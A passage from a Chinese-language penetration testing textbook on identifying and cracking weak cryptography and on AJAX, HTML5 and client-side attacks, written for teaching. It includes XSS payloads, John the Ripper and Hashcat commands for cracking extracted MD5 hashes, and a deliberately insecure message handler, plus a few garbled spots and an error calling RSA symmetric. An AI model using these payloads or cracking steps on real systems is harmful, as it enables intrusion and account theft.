作为渗透测试人员,发现开发人员对标准加密协议进行自定义实现或尝试创建自己的自定义算法并不罕见。在这种情况下,您需要特别注意这些模块,因为它们可能包含多个缺陷,如果在生产环境中发布可能会造成灾难性后果。

正如先前所述,加密算法是由信息安全专家和专门从事密码学的数学家通过多年的实验和测试创建的。对于单个开发人员或小团队来说,设计一个具有密码学强度的算法或改进像 OpenSSL 这样经过深入测试的实现,是非常不可能的。

识别加密和哈希信息

当遇到自定义的加密实现或无法识别为明文的数据时,首先要做的是定义提交此类数据的过程。如果源代码容易获得,这个任务相当简单。更有可能的情况是源代码不可用,需要通过多种方式分析数据。

哈希算法

如果一个过程的结果始终是相同的长度,无论提供的数据量如何,那么您可能面临的是一个哈希函数。要确定是哪个函数,可以使用结果值的长度:

函数 长度 示例,hash ("Web Penetration Testing with Kali Linux")
MD5 16 字节 fbdcd5041c96ddbd82224270b57f11fc
SHA-1 20 字节 e8dd62289bcff206905cf269c06692ef7c6938a0
SHA-2(256) 32 字节 dbb5195ef411019954650b6805bf66efc5fa5fef4f80a5f4afda702154ee07d3
SHA-2(512) 64 字节 6f0b5c34cbd9d66132b7d3a4484f1a9af02965904de38e3e3c4e66676d9``48f20bd0b5b3ebcac9fdbd2f89b76cfde5b0a0ad9c06bccbc662be420b877c080e8fe

请注意,前面的示例使用两个十六进制数字来表示每个字节的十六进制编码,以表示每个字节的值(0-255)。为了澄清,MD5 哈希中的 16 个字节是 fb-dc-d5-04-1c-96-dd-bd-82-22-42-70-b5-7f-11-fc。例如,第 11 个字节(42)是十进制值 66,它是 ASCII 字母B

此外,以 base64 编码形式表示哈希值也是常见的。例如,前面表格中的 SHA-512 哈希也可以表示为:

bwtcNMvZ1mEyt9OkSE8amvApZZBN444+PE5mZ22UjyC9C1s+vKyf29L4m3bP3lsKCtnAa8y8ZivkILh3wIDo/g== 

Base64 是一种编码技术,它使用可打印的 ASCII 字符集来表示二进制数据,其中一个 base64 编码的字节表示原始字节的 6 位,以便用 4 个 ASCII 可打印字节表示 3 个字节(24 位)。

hash-identifier

Kali Linux 包含一个名为hash-identifier的工具,它有一个长列表的哈希模式,非常有用来确定所涉及的哈希类型:

频率分析

判断一组数据是否加密、编码或混淆的一个非常有用的方法是分析数据中每个字符重复出现的频率。在明文消息中,比如一个字母,ASCII 字符在字母数字范围内(32 到 126)的频率要比斜杠或不可打印字符(如Escape(27)或Delete(127)键)高得多。

另一方面,人们预期加密文件的每个字符从 0 到 255 都具有非常相似的频率。

可以通过准备一组简单的文件进行比较来测试这一点。让我们将一个明文文件作为基准文件与该文件的两个其他版本进行比较:一个是混淆的,另一个是加密的。首先创建一个明文文件。使用dmesg将内核消息发送到文件中:

dmesg > /tmp/clear_text.txt  

您还可以应用一种名为旋转的混淆技术,它以字母表中的循环方式将一个字母替换为另一个字母。我们将使用ROT13,在字母表中旋转 13 个位置(即,a将变为nb将变为o,依此类推)。这可以通过编程或使用网站如www.rot13.com/来完成:

接下来,使用 OpenSSL 命令行工具和 AES-256 算法和 CBC 模式对明文文件进行加密:

openssl aes-256-cbc -a -salt -in /tmp/clear_text.txt -out /tmp/encrypted_text.txt  

正如您所看到的,OpenSSL 的输出是 base64 编码的。在分析结果时,您需要考虑到这一点。

那么,如何对这些文件进行频率分析?我们将使用 Python 和 Matplotlib(matplotlib.org/)库,在 Kali Linux 中预安装,以图形方式表示每个文件的字符频率。以下脚本接受两个命令行参数,一个文件名和一个指示器,如果文件是 base64 编码(10),则读取该文件,并在必要时解码。然后,它计算 ASCII 空间(0-255)中每个字符的重复次数,并绘制字符计数:

import matplotlib.pyplot as plt 
import sys 
import base64 

if (len(sys.argv))<2: 
    print "Usage file_histogram.py <source_file> [1|0]" 

print "Reading " + sys.argv[1] + "... " 
s_file=open(sys.argv[1]) 

if sys.argv[2] == "1": 
    text=base64.b64decode(s_file.read()) 
else: 
    text=s_file.read() 

chars=[0]*256 
for line in text: 
    for c in line: 
        chars[ord(c)] = chars[ord(c)]+1 

s_file.close() 
p=plt.plot(chars) 
plt.show() 

当比较明文(左)和 ROT13(右)文件的频率时,您会发现没有太大的区别-所有字符都集中在可打印范围内:

另一方面,查看加密文件的图表时,分布更加混乱:

熵分析

加密信息的一个明确特征是数据在字符级别上的随机性,这有助于将其与明文或编码区分开来。是数据集随机性的统计度量。

在基于字节的文件存储的网络通信中,每个字符的最大熵级别为八。这意味着这些字节中的所有八位在样本中被使用的次数相同。熵低于六可能表明样本未加密,而是混淆或编码,或者所使用的加密算法可能容易受到密码分析的攻击。

在 Kali Linux 中,您可以使用ent计算文件的熵。它没有预装,但可以在apt存储库中找到:

apt-get update
apt-get install ent  

作为 PoC,让我们对一个明文样本执行ent,例如dmesg的输出(内核消息缓冲区),其中包含大量的文本,包括数字和符号:

dmesg > /tmp/in
ent /tmp/in

接下来,让我们加密相同的信息并计算熵。在这个例子中,我们将使用 CBC 模式的 Blowfish:

openssl bf-cbc -a -salt -in /tmp/in -out /tmp/test2.enc
ent /tmp/test
2.enc

熵增加了,但不像加密样本那样高。这可能是因为样本有限(即只有可打印的 ASCII 字符)。让我们使用 Linux 内置的随机数生成器进行最后的测试:

head -c 1M /dev/urandom > /tmp/out
ent /tmp/out

理想情况下,强加密算法的熵值应该非常接近八,这将与随机数据无法区分。

识别加密算法

一旦我们进行了频率和熵分析,并且可以确定数据已加密,我们需要确定使用了哪种算法。一种简单的方法是比较多个加密消息的长度;考虑以下示例:

  • 如果长度不能始终被八整除,您可能面临的是流密码,其中 RC4 是最流行的密码之一

  • AES 是一种分组密码,其输出的长度始终可以被 16 整除(128、192、256 等)

  • DES 也是一种分组密码;其输出的长度始终可以被 8 整除,但不一定可以被 16 整除(因为其密钥流为 56 位)

敏感数据存储和传输中的常见缺陷

作为渗透测试人员,在 Web 应用程序中寻找的重要事项之一是它们如何存储和传输敏感信息。如果数据以明文形式传输或存储,应用程序的所有者可能面临重大的安全问题。

如果敏感信息(如密码或信用卡数据)以明文形式存储在数据库中,那么利用 SQL 注入漏洞或以其他方式访问服务器的攻击者将能够读取此类信息并直接从中获利。

有时,开发人员会实现自己的混淆或加密机制,认为只有他们知道算法,没有其他人能够在没有有效密钥的情况下获取原始信息。尽管这可能阻止偶然的随机攻击者将该应用程序作为目标,但更专注的攻击者或者能够从信息中获得足够利益的攻击者将花时间理解算法并破解它。

这些自定义加密算法通常涉及以下变体:

  • 异或:在原始文本和其他文本之间执行按位异或操作,该文本充当密钥,并重复足够次数以填充要加密的文本的长度。这很容易被破解,如下所示:
      if text XOR key = ciphertext, then text XOR ciphertext = key 
  • 替换:该算法涉及将一个字符一致地替换为另一个字符,应用于所有文本。在这里,使用频率分析来解密文本(例如,e是英语中最常见的字母,en.wikipedia.org/wiki/Letter_frequency)或者比较已知文本和其加密版本的频率以推断密钥。

  • 混淆:这涉及改变字符的位置。为了使混淆成为一种可恢复信息的方式,需要以一种一致的方式进行。这意味着它可以通过分析被发现和逆转。

在应用程序中实现加密时,另一个常见错误是将加密密钥存储在不安全的位置,例如可以从 Web 服务器的根目录或其他易于访问的位置下载的配置文件中。往往加密密钥和密码都是硬编码在源文件中,甚至在客户端代码中也是如此。

如今的计算机比 10-20 年前的计算机更强大。因此,一些在过去被认为是密码学强大的算法可能在几个小时或几天内被破解,考虑到现代 CPU 和 GPU 的性能。即使这些算法可以在几分钟内被破解,使用 DES 加密的信息或使用 MD5 散列的密码仍然很常见,这在当前技术下可以被破解。

最后,尽管在加密存储中尤其如此,但最常见的缺陷是使用弱密码和密钥来保护信息。对最近泄露的密码进行的分析告诉我们,最常用的密码如下(参考13639-presscdn-0-80-pagely.netdna-ssl.com/wp-content/uploads/2017/12/Top-100-Worst-Passwords-of-2017a.pdf):

  1. 123456

  2. password

  3. 12345678

  4. qwerty

  5. 12345

  6. 123456789

  7. letmein

  8. 1234567

  9. football

  10. iloveyou

  11. admin

  12. welcome

使用离线破解工具

如果您能够从应用程序中检索加密信息,您可能希望测试加密的强度以及密钥的有效性,即保护信息的能力。为此,Kali Linux 包含了两个最受欢迎和有效的离线破解工具:John the Ripper 和 Hashcat。

在第五章中的检测和利用基于注入的漏洞一节中,我们提取了一组用户名和哈希值。在这里,我们将使用 John the Ripper(或简称为 John)和 Hashcat 尝试检索与这些哈希值对应的密码。

首先,以username:hash格式将哈希值和用户名检索到一个文件中,例如以下内容:

admin:5f4dcc3b5aa765d61d8327deb882cf99 
gordonb:e99a18c428cb38d5f260853678922e03 
1337:8d3533d75ae2c3966d7e0d4fcc69216b 
pablo:0d107d09f5bbe40cade3de5c71e9e9b7 
smithy:5f4dcc3b5aa765d61d8327deb882cf99 
user:ee11cbb19052e40b07aac0ca060c23ee 

使用 John the Ripper

John the Ripper 已经预装在 Kali Linux 中,使用非常简单。您只需键入john即可查看其基本用法:

john 

如果只使用命令和文件名作为参数,John 将尝试识别文件中使用的加密或哈希类型,尝试使用其默认字典进行字典攻击,然后进入暴力破解模式并尝试所有可能的字符组合。

让我们使用 Kali Linux 中包含的 RockYou 字典进行字典攻击。在 Kali Linux 的最新版本中,该列表使用 GZIP 进行压缩;因此您需要对其进行解压缩:

cd /usr/share/wordlists/
gunzip rockyou.txt.gz

现在,您可以运行 John 来破解收集到的哈希值:

cd ~
john hashes.txt --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt  

注意使用格式参数。如前所述,John 可以尝试猜测哈希的格式。我们已经知道 DVWA 中使用的哈希算法,并可以利用这些知识使攻击更加精确。

使用 Hashcat

在最新版本中,Hashcat 已将其两个变体(基于 CPU 和 GPU 的)合并为一个,并且在 Kali Linux 中可以找到。如果您在虚拟机中使用 Kali Linux,就像我们在本书中使用的版本一样,您可能无法使用 GPU 破解的全部功能,该功能利用了图形卡的并行处理。但是,Hashcat 仍然可以在 CPU 模式下工作。

要使用 RockYou 字典在 Hashcat 中破解文件,使用以下命令:

hashcat -m 0 --force --username hashes.txt /usr/share/wordlists/rockyou.txt  

这里使用的参数如下:

  • -m 00(零)是 MD5 哈希算法的标识符

  • --force:此选项强制 Hashcat 在找不到 GPU 设备时运行,这对于在虚拟机中运行 Hashcat 很有用

  • --username: 这告诉 Hashcat 输入文件不仅包含哈希值,还包含用户名;它期望的格式是username:hash

  • 第一个文件名始终是要破解的文件,下一个文件名是要使用的字典

几秒钟后,您将看到结果:

要查看所有支持的选项和算法,请使用以下命令:

hashcat --help    

预防加密实现中的缺陷

对于 HTTPS 通信,请禁用所有已弃用的协议,例如任何版本的 SSL,甚至是 TLS 1.0 和 1.1。最后两个需要考虑到应用程序的目标用户,因为 TLS 1.2 可能不被旧浏览器或系统完全支持。此外,禁用弱加密算法(如 DES 和 MD5 哈希)和模式(如 ECB)也必须考虑。

此外,应用程序的响应必须在 cookie 中包含安全标志和HTTP Strict-Transport-SecurityHSTS)头,以防止 SSL 剥离攻击。

有关 TLS 配置的更多信息,请访问www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet

密码绝不能以明文形式存储,并且不建议使用加密算法来保护它们。相反,应使用单向的、加盐的哈希函数。PBKDF2、bcrypt 和 SHA-512 是推荐的替代方案。不建议使用 MD5,因为现代 GPU 可以每秒计算数百万个 MD5 哈希,这使得在几个小时或几天内使用高端计算机破解少于十个字符的任何密码成为可能。OWASP 还在这个主题上提供了一个有用的备忘单,网址为www.owasp.org/index.php/Password_Storage_Cheat_Sheet

对于需要可恢复的敏感信息(如付款信息)的存储,使用强加密算法。AES-256、Blowfish 和 Twofish 是不错的选择。如果对称加密(如 RSA)是一个选项,应优先考虑它(www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet)。

避免使用自定义实现或创建自定义算法。更好的做法是依赖已经被使用、测试和多次攻击的内容。

总结

在本章中,我们回顾了密码学的基本概念,如对称和非对称加密、流密码和块密码、哈希、编码和混淆。您了解了 HTTPS 协议中安全通信的工作原理以及如何识别其实施和配置中的漏洞。然后,我们研究了在敏感信息存储和自定义加密算法创建中常见的缺陷。

我们在本章中总结了如何防止此类缺陷以及如何在传输和存储敏感信息时使 Web 应用程序更安全的方法。

在下一章中,我们将学习有关 AJAX 和 HTML5 的知识,以及它们从安全和渗透测试的角度带来的挑战和机遇,特别是涉及客户端代码时。

第九章:AJAX、HTML5 和客户端攻击

在第一章中,我们回顾了 AJAX 和 HTML5 的功能和工作原理。在本章中,我们将深入探讨它们的安全方面以及它们如何在 Web 应用程序中引入或扩展漏洞,从而给渗透测试人员带来新的挑战。

如第一章所述,AJAX 是一种组合技术,主要包括 JavaScript、XML 和 Web 服务,它们允许客户端和服务器之间进行异步 HTTP 通信。

爬取 AJAX 应用程序

在基于 AJAX 的应用程序中,爬虫可以识别的链接取决于应用程序的逻辑流程。在本节中,我们将讨论三种用于爬取 AJAX 应用程序的工具:

  • AJAX Crawling Tool

  • Sprajax

  • AJAX Spider OWASP ZAP

与任何自动化任务一样,爬取 AJAX 应用程序必须仔细配置、记录和监控,因为它们可能会调用意外的函数并触发应用程序上的不希望的效果,例如影响数据库内容。

AJAX 爬行工具

AJAX Crawling Tool(ACT)用于枚举 AJAX 应用程序。它可以与 Web 应用程序代理集成。爬取后,链接将在代理界面中可见。从那里,您可以测试应用程序的漏洞。要设置和使用 ACT,请按照以下说明操作:

  1. 从以下 URL 下载 ACT:

code.google.com/p/fuzzops-ng/downloads/list

  1. 下载 ACT 后,使用以下命令从 bash shell 启动它:
      java -jar act.jar

此命令将生成以下截图中显示的输出:

指定目标 URL,并将代理设置为与您的代理链接。

在这种情况下,使用运行在本地主机上端口8010的 ZAP 代理。您还需要指定浏览器类型。要开始爬取,请单击 Crawl 菜单,然后选择 Start Crawl 选项。

  1. 一旦 ACT 开始“蜘蛛爬行”应用程序,新的链接将在代理窗口中可见,如下面的截图所示:

Sprajax

Sprajax是一个专门为使用 AJAX 框架构建的应用程序设计的 Web 应用程序扫描器。它是一个黑盒安全扫描器,这意味着它不需要预先配置目标应用程序的详细信息。它首先识别使用的 AJAX 框架,这有助于它创建具有较少误报的测试用例。Sprajax 还可以识别典型的应用程序漏洞,如 XSS 和 SQL 注入。它首先识别函数,然后通过发送随机值来模糊它们。模糊是向目标发送多个探测并分析它们的行为,以便在其中一个探测触发漏洞时检测到的过程。OWASP Sprajax 项目的 URL 是www.owasp.org/index.php/Category:OWASP_Sprajax_Project

除了 ACT 和 Sprajax,Burp Suite 代理和 OWASP ZAP 提供了爬取 AJAX 网站的工具,但手动爬取应用程序是侦察过程的重要部分,因为基于 AJAX 的应用程序可能包含许多隐藏的 URL,只有在了解应用程序的逻辑后才会暴露出来。

AJAX Spider - OWASP ZAP

AJAX Spider 与 OWASP ZAP 集成。它使用一种简单的方法,通过浏览器跟踪所有可以找到的链接,甚至是由客户端代码生成的链接,从而有效地爬取各种应用程序。

可以从攻击菜单中调用 AJAX Spider,如下面的截图所示:

接下来,在 Spider 开始爬行过程之前,有一些参数需要配置。您可以选择插件使用的 Web 浏览器。在选项选项卡中,您还可以定义要打开的浏览器窗口数量、爬行深度和线程数量。在修改这些选项时要小心,因为它可能会减慢爬行速度:

当爬行开始时,会打开一个浏览器窗口,ZAP 将自动浏览应用程序,而结果将在底部窗格的 AJAX Spider 选项卡中显示:

分析客户端代码和存储

我们之前已经讨论过客户端代码增加可能导致潜在安全问题的情况。AJAX 使用 XMLHttpRequest(XHR)对象向服务器发送异步请求。这些 XHR 对象是使用客户端 JavaScript 代码实现的。

有几种方法可以了解更多关于客户端代码的信息。通过按下 Ctrl + U 快捷键查看源代码将显示创建 XHR 对象的底层 JavaScript。如果网页和脚本很大,通过查看源代码来分析应用程序将不会有帮助和/或实用。

要了解脚本发送的实际请求,您可以使用 Web 应用程序代理并拦截流量,但请求将在通过客户端脚本代码的一系列过程后到达代理,这些过程可能包括验证、编码、加密和其他修改,这将使您对应用程序的工作原理的理解变得复杂。

在本节中,我们将使用 Web 浏览器的内置开发工具来分析客户端代码的行为以及它对页面上显示的内容和服务器从应用程序接收到的内容的影响。所有主要的现代 Web 浏览器都包含用于调试 Web 应用程序中的客户端代码的工具,尽管有些浏览器可能具有更多的功能。它们都包括以下基本组件:

  • 页面元素的对象检查器

  • 控制台输出以显示错误、警告和日志消息

  • 脚本代码调试器

  • 网络监视器以分析请求和响应

  • 用于管理 Cookie、缓存和 HTML5 本地存储的存储管理器

大多数浏览器都遵循最初的 Firefox 插件 Firebug 的设计。我们将介绍 Firefox 的 Web 开发工具,因为它是 Kali Linux 中包含的工具。

浏览器开发工具

在 Firefox 中,与所有主要浏览器一样,可以使用 F12 键激活开发工具;在 Firefox 中还可以使用其他组合键,例如 Ctrl + C 和 Ctrl + I。下图显示了设置面板,您可以在其中选择要显示的工具以及其他首选项,如颜色主题、可用按钮和键绑定:

检查器面板

检查器面板(如下图所示)显示当前页面中包含的 HTML 元素及其属性和样式设置。您可以更改这些属性和样式,还可以删除或添加元素:

调试器面板

调试器面板是您可以深入了解实际 JavaScript 代码的地方。它包括一个调试器,您可以在其中设置断点或逐步执行脚本,同时分析客户端代码的流程并识别出有漏洞的代码。每个脚本都可以通过下拉菜单单独查看。Watch 侧面板将显示脚本执行过程中变量的值。设置的断点在 Breakpoints 面板下可见,如下图所示:

调试器面板的一个最新添加功能是能够以更易读的方式格式化源代码,因为许多 JavaScript 库加载为单行文本。在 Firefox 中,此选项称为 Prettify Source,可以通过右键单击代码并从上下文菜单中选择来激活它:

控制台面板

控制台面板显示由 HTML 元素和脚本代码执行触发的日志、错误和警告。它还包括一个 JavaScript 命令行解释器,可在窗口底部可见。它允许您在当前网站的上下文中执行 JavaScript 代码:

网络面板

网络面板显示当前网页生成的所有网络流量。它可以让您看到页面正在与哪里通信以及它正在进行哪些请求。它还包括对每个请求的响应和加载所需时间的可视化表示:

如果选择任何请求,您将看到头部和正文的详细信息,以及响应和 cookie:

存储面板

存储面板也是最近添加的,用于允许与 HTML5 存储选项和 cookie 进行交互。在这里,您可以浏览和编辑 cookie、Web 存储、索引数据库和缓存存储:

DOM 面板

DOM 面板允许您查看和更改当前页面上所有 DOM 元素的值:

HTML5 用于渗透测试

HTML 标准的最新版本带来了许多新功能,这些功能可能有助于开发人员防止其应用程序的安全缺陷和攻击。然而,它也给新功能的设计和实现带来了新的挑战,这可能导致应用程序由于使用尚未完全理解的新技术而向攻击者开放新的和意想不到的机会。

总的来说,渗透测试 HTML5 应用程序与测试任何其他 Web 应用程序没有区别。在本节中,我们将介绍 HTML5 的一些关键特性,它们对渗透测试的影响,以及实现这些特性的应用程序可能受到攻击的一些方式。

新的 XSS 向量

跨站脚本XSS)是 HTML5 应用程序中的一个重大问题,因为 JavaScript 用于与从客户端存储到 WebSockets 到 Web Messaging 的所有新功能进行交互。

此外,HTML 包括可以用作 XSS 攻击向量的新元素和标签。

新元素

视频和音频是可以使用<video><audio>标签放入网页的新元素,这些标签也可以与onerror属性一起在 XSS 攻击中使用,就像<img>一样:

<video> <source onerror="javascript:alert(1)"> 
<video onerror="javascript:alert(1)"><source> 
<audio onerror="javascript:alert(1)"><source> 

新属性

表单元素具有可以用于执行 JavaScript 代码的新属性:

<input autofocus onfocus=alert("XSS")> 

autofocus属性指定在页面加载时<input>元素应自动获得焦点,onfocus设置当<input>元素获得焦点时的事件处理程序。结合这两个操作可以确保在页面加载时执行脚本:

<button form=form1 onformchange=alert("XSS")>X 

当对具有form1 ID 的表单进行更改(值修改)时,将触发一个事件。该事件的处理程序是XSS负载:

<form><button formaction="javascript:alert(1)"> 

表单的 action 指示表单数据将被发送到的位置。在这个例子中,当按钮被按下时,它将 action 设置为一个 XSS 负载。

本地存储和客户端数据库

在 HTML5 之前,允许 Web 应用程序在客户端存储信息的唯一机制是 cookie。还有一些解决方法,如 Java 和 Adobe Flash,但它们带来了许多安全问题。HTML5 现在具有在客户端存储结构化和非结构化持久数据的能力,其中包括两个新功能:Web 存储和 IndexedDB。

作为渗透测试人员,您需要注意应用程序对客户端存储的任何使用。如果存储的信息是敏感的,请确保它得到适当的保护和加密。还要测试存储的信息是否在应用程序中进一步使用,并且是否可以篡改以生成 XSS 场景。最后,请确保此类信息在输入时得到正确验证,并在输出时进行清理。

Web Storage

Web Storage是 HTML5 允许应用程序在客户端存储非结构化信息的方式,除了 cookie 之外。Web Storage 可以是两种类型:localStorage(没有过期时间)和sessionStorage(会在会话结束时删除)。Web Storage 由 JavaScript 对象window.localStoragewindow.sessionStorage管理。

下面的屏幕截图显示了如何使用浏览器的开发者工具查看 Web Storage,本例中的类型为localStorage。如屏幕截图所示,信息使用键值对存储:

IndexedDB

对于结构化存储(以表为单位组织的信息),HTML5 提供了IndexedDB

在 IndexedDB 之前,Web SQL Database 也被用作 HTML5 的一部分,但在 2010 年被弃用。

下面的屏幕截图显示了一个由 Web 应用程序存储的索引数据库的示例,可以使用浏览器的开发者工具查看:

Web Messaging

Web Messaging允许两个不需要 DOM 的文档之间进行通信,并且可以跨域使用(有时称为跨域消息传递)。要接收消息,应用程序需要设置一个事件处理程序来处理传入的消息。接收消息时触发的事件具有以下属性:

  • data:消息数据

  • origin:发送者的域名和端口

  • lastEventId:当前消息事件的唯一 ID

  • source:包含引发消息的文档窗口的引用

  • ports:这是一个包含与消息一起发送的任何MessagePort对象的数组

origin value is not checked. This means that any remote server will be able to send messages to that application. This constitutes a security issue, as an attacker can set up a server that sends messages to the application:
var messageEventHandler = function(event){ 
    alert(event.data); 
} 

下面的示例显示了一个事件处理程序,它进行了正确的来源验证:

window.addEventListener('message', messageEventHandler,false); 
var messageEventHandler = function(event){ 
    if (event.origin == 'https://trusted.domain.com') 
    { 
        alert(event.data); 
    } 
} 
window.addEventListener('message', messageEventHandler,false); 

WebSockets

HTML5 中最激进的新增功能可能是引入了WebSockets,它是客户端和服务器之间基于 HTTP 协议的持久双向通信,HTTP 协议是无状态的协议。

如第一章所述,渗透测试和 Web 应用程序简介,WebSockets 通信始于客户端和服务器之间的握手。在下面的屏幕截图中,取自 Damn Vulnerable Web Sockets(github.com/snoopysecurity/dvws),您可以看到 WebSockets 的基本 JavaScript 实现:

此代码在 HTML 文档加载后立即启动 WebSockets 连接。然后设置连接建立时、消息到达时以及连接关闭或发生错误时的事件处理程序。当页面加载请求以启动连接时,它看起来像这样:

当连接被接受时,服务器将作出以下响应:

请注意,请求中的Sec-WebSocket-Key和响应中的Sec-WebSocket-Accept仅用于握手和启动连接。它们不是身份验证或授权控制。这是渗透测试人员必须注意的事项。WebSockets 本身不提供任何身份验证或授权控制;这需要在应用程序级别完成。

此外,前面示例中实现的连接没有加密。这意味着它可以通过中间人攻击进行嗅探和/或拦截。下一个截图显示了使用 Wireshark 捕获的流量,显示了客户端和服务器之间的交换:

前两个数据包是 WebSockets 握手。之后,消息交换开始。在这种情况下,客户端发送一个名称,服务器回复Hello <NAME> :) How are you?。按照协议定义(RFC 6455,www.rfc-base.org/txt/rfc-6455.txt),从客户端发送到服务器的数据应该被掩码处理,如果接收到非掩码消息,服务器必须关闭连接。相反,从服务器发送到客户端的消息不会被掩码处理,如果接收到掩码数据,客户端将关闭连接。掩码处理不应被视为安全措施,因为掩码密钥包含在数据包帧中。

拦截和修改 WebSockets

Burp Suite 和 OWASP ZAP 等 Web 代理可以记录 WebSockets 通信。它们还能够拦截并允许添加传入和传出的消息。OWASP ZAP 还允许重新发送消息并使用 Fuzzer 工具来识别漏洞。

在 Burp Suite 的代理中,有一个选项卡显示了 WebSockets 通信的历史记录。代理中的常规拦截选项可用于拦截和修改传入和传出的消息。它不包括使用 Repeater 重新发送消息的功能。下一个截图显示了在 Burp Suite 中拦截的消息:

OWASP ZAP 还有一个专门的 WebSockets 历史选项卡。在该选项卡中,可以通过右键单击任何消息并选择 Break...来设置断点(类似于 Burp Suite 的 Intercept)。将弹出一个新对话框,可以设置断点参数和条件,如下图所示:

在右键单击消息时,还有一个 Resend 选项,它可以打开所选消息以进行修改和重新发送。这适用于传入和传出的流量。因此,当重新发送传出消息时,OWASP ZAP 将将消息传递给浏览器。下一个截图显示了重新发送对话框:

如果在 Resend 中右键单击文本,会出现一个选项,可以对该消息进行模糊处理。

下一个截图显示了如何向默认位置添加模糊字符串。在这里,我们只添加了一小组 XSS 测试:

当我们运行 Fuzzer 时,相应的选项卡会打开,并显示成功的结果(即,得到类似易受攻击应用程序的响应的结果):

HTML5 的其他相关功能

如前所述,HTML5 在不同领域中引入了许多功能,可能会影响应用程序的安全性。在本节中,我们将简要介绍 HTML5 提供的其他功能,这些功能也可能对我们寻找安全漏洞的方式和位置产生影响。

跨域资源共享(CORS)

当服务器启用时,请求中会发送头部Access-Control-Allow-Origin。该头部告诉客户端,服务器允许来自托管应用程序的源(域名和端口)以外的源的 XMLHttpRequest 请求。拥有以下头部允许来自任何源的请求,使得攻击者可以使用 JavaScript 绕过 CSRF 保护:

Access-Control-Allow-Origin: *  

地理位置

现代 Web 浏览器可以从安装了它们的设备中获取地理位置数据,无论是计算机中的 Wi-Fi 网络还是手机中的 GPS 和蜂窝信息。使用 HTML5 并且易受 XSS 攻击的应用程序可能会暴露其用户的位置数据。

Web Workers

Web Workers是在后台运行的 JavaScript 代码,无法访问调用它们的页面的 DOM。除了能够在客户端运行本地任务外,它们还可以使用 XMLHttpRequest 对象执行域内和 CORS 请求。

如今,越来越多的 Web 应用程序使用 JavaScript 代码来利用客户端的处理能力来挖掘加密货币。大多数情况下,这是因为这些应用程序已经被入侵。如果应用程序容易受到 XSS 攻击,Web Workers 为攻击者提供了独特的机会,特别是如果它使用用户输入来向 Web Workers 发送消息或创建它们。

AppSec Labs 创建了一个工具包,HTML5 Attack Framework (appsec-labs.com/html5/),用于测试 HTML5 应用程序的特定功能,例如以下功能:

  • 点击劫持

  • CORS

  • HTML5 DoS

  • Web 消息传递

  • 存储转储器

绕过客户端控制

随着现代 Web 应用程序在客户端的能力,开发人员有时更容易将检查和控制委托给由浏览器执行的客户端代码,从而使服务器免于额外的处理。起初,这可能看起来是个好主意;也就是说,让客户端处理所有数据呈现、用户输入验证、格式化,并仅使用服务器处理业务逻辑。然而,当客户端是一个 Web 浏览器时,它是一个多功能工具,不仅仅用于一个应用程序,并且可以使用代理来隧道化所有通信,然后可以被用户篡改和控制,开发人员需要在服务器端加强所有与安全相关的任务,如身份验证、授权、验证和完整性检查。作为渗透测试人员,您会发现很多应用程序在这方面做得不够一致。

一个非常常见的情况是应用程序根据用户的配置文件和权限级别显示或隐藏 GUI 元素和/或数据。很多时候,所有这些元素和数据已经从服务器检索到,并且只是使用 HTML 代码中的样式属性禁用或隐藏。攻击者或渗透测试人员可以使用浏览器的开发者工具中的检查器选项更改这些属性并访问隐藏的元素。

让我们通过Mutillidae II 的客户端控制挑战(其他 | 客户端“安全”控制)来回顾一个例子。这是一个具有许多不同类型的输入字段的表单,其中一些被禁用、隐藏或在您想要写入它们时移动。如果您只填写其中一些字段并点击提交,您将收到一个错误。您需要填写所有字段:

按下F12键打开开发者工具,或右键点击其中一个禁用的字段并选择检查元素。后者也会打开开发者工具,但它还会将您定位到检查器中的特定区域,并且是您选择的元素所在的区域:

例如,您可以看到禁用的文本框具有一个属性disabled,其值为1。有人可能认为将值更改为0应该启用它,但事实并非如此。任何值都会使浏览器将输入显示为禁用状态。因此,双击属性名称并将其删除。现在您可以向其添加文本:

您可以继续更改所有字段的属性,以便填写它们。您还会找到一个密码字段。如果您检查它,您会发现即使页面上只显示点,它实际上包含明文值,在实际应用程序中可能是一个实际的密码:

最后,当您填写完所有字段并再次点击提交时,会弹出一个警告,提示某些字段格式不正确:

可以通过进入开发者工具中的调试器面板,并在搜索框中输入感叹号!来搜索所有文件中的部分文本,从而追踪此消息。index.php中的函数执行验证操作:

请注意,此函数使用正则表达式验证输入,并且这些正则表达式被形成为仅匹配一个字符字符串。在这里,您可以做两件事:您可以在定义正则表达式之后设置断点并在运行时更改其值,和/或者您可以使用与这些检查匹配的值填充所有字段,以便可以发送请求,然后使用代理拦截请求并在代理中进行编辑。现在我们将进行后者:

您可以在任何字段中输入任何值。如果您认为这与您的测试相关,请甚至可以添加或删除字段。

因此,使用浏览器的开发者工具,您可以轻松启用、禁用、显示或隐藏网页中的任何元素。它还可以让您监视、分析和控制 JavaScript 代码的执行流程。即使存在一个耗时低效的复杂验证过程,您也可以调整输入并在请求离开浏览器后使用代理进行修改。

缓解 AJAX、HTML5 和客户端漏洞

防止客户端漏洞的关键,或者至少是最小化其影响的关键,是永远不要相信外部信息,无论是来自客户端应用程序、Web 服务还是服务器输入。在处理之前,这些信息必须始终进行验证,并且在以任何格式(如 HTML、CSV、JSON 和 XML)显示给用户之前,所有显示给用户的数据必须经过适当的清理和格式化。在客户端进行验证是一个好的实践,但不能替代服务器端验证。

身份验证和授权检查也是如此。可以采取一些措施来减少到达服务器的无效请求的数量,但服务器端代码必须验证到达的请求确实是有效的,并且被允许继续到发送此类请求的用户会话。

对于 AJAX 和 HTML5,正确配置服务器和参数,如跨域、内容类型头和 Cookie 标志,将有助于防止许多攻击造成损害。

总结

在本章中,您了解了如何爬取 AJAX 应用程序。然后,我们继续审查 HTML5 对渗透测试人员的影响,包括新功能和新的攻击向量。然后,我们回顾了一些绕过客户端实施的安全控制的技术。在最后一节中,我们回顾了一些需要考虑的关键问题,以防止 AJAX、HTML5 和客户端漏洞。

在下一章中,您将了解更多关于 Web 应用程序中的日常安全漏洞。

第十章:Web 应用程序中的其他常见安全缺陷

到目前为止,在本书中,我们已经简要介绍了围绕 Web 应用程序安全和渗透测试的大部分问题。然而,由于 Web 应用程序的性质——它们代表了如此多样化的技术和方法论的混合,这些技术和方法论并不总是很好地协同工作——针对这些应用程序的特定漏洞和不同类型的攻击的数量是如此之大且迅速变化,以至于没有一本书能够涵盖所有内容;因此,有些东西必须被遗漏。

